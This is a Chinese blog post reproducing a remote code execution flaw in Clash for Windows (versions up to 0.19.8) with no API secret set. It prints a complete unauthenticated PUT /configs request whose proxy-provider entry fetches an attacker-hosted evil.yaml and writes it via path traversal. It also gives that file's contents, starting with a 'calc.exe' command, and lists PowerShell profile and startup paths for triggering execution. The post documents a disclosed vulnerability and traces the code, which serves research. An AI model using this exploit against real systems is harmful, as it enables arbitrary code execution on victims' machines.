clash文件覆写导致RCE

  1. 环境准备
  2. 前言
  3. 复现过程
  4. 代码跟踪
  5. 总结
  6. 参考链接

环境准备

影响版本:<=0.19.8
复现环境:
windows+clash for windows+内核clash-windows-amd64-v1.15.0+未设置secret

前言

默认先走授权,有secret无法利用
(2021年后默认随机UUID的secret,端口随机)

复现过程

API请求包

PUT /configs?force=true HTTP/1.1
Host: 127.0.0.1:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 326


{"payload":"mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-providers:\n  provider1:\n    type: http\n    url: 'http://127.0.0.1:9999/evil.yaml'\n    interval: 3600\n    path: ../../.zshenv\n    healthcheck:\n      enable: true\n      interval: 600\n      url: http://www.gstatic.com/generate_204"}

windows下的payload
vps开http.server
evil.yaml

calc.exe && echo :
proxies:
  - {name: vP, server: n04.a00x.party, port: 18000, type: ssr, cipher: aes-256-cfb, password: AFX92CS, protocol: auth_aes128_sha1, obfs: http_simple, protocol-param: 232991:xSnSFv, obfs-param: download.windowsupdate.com, udp: true}
#>

通过利用powershell自定义.profile来执行命令。当用户打开powershell将触发
(还需要powershell运行脚本执行才能成功)

1、%windir%\system32\WindowsPowerShell\v1.0\profile.ps1
它作用于所有用户、所有的Shell。


2、%windir%\system32\WindowsPowerShell\v1.0\ Microsoft.PowerShell_profile.ps1
作用于所有用户,但只作用于Microsoft.PowerShell这个shell。这个我也没懂是什么意思,难道还有不是PowerShell的PowerShell shell?呃,有点像绕口令。


3、%UserProfile%\My Documents\WindowsPowerShell\profile.ps1
作用于当前用户的所有shell。


4、%UserProfile%\My Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
作用于当前用户的Microsoft.PowerShell这个shell。

开机自启路径
(有杀毒纯纯白给)

代码跟踪

可以看到updateConfigs函数处理,只要json格式正确直接进行下一步

最后解析json里的payload。获取路径,拼接路径,根据类型进行处理。最后调用NewProxySetProvider函数


https://github.com/Dreamacro/clash/blob/4d66da2277ddaf41f83bd889b064c0a584f7a8ad/adapter/provider/parser.go#L4

总结

作者最早添加更新配置文件的API都加了安全验证https://github.com/Dreamacro/clash/commit/9cfd26d44062c8d0811395cf944024bb680705b5
能被利用纯属自己不设置secret
https://github.com/Dreamacro/clash/blob/9cfd26d44062c8d0811395cf944024bb680705b5/hub/route/server.go

参考链接

https://0xf4n9x.github.io/2022/10/20/clash-unauth-force-configs-csrf-rce/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:clash文件覆写导致RCE

本文作者:九世

发布时间:2023-06-19, 18:03:45

最后更新:2023-06-21, 11:21:04

原始链接:http://jiushill.github.io/posts/d0a451b7.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录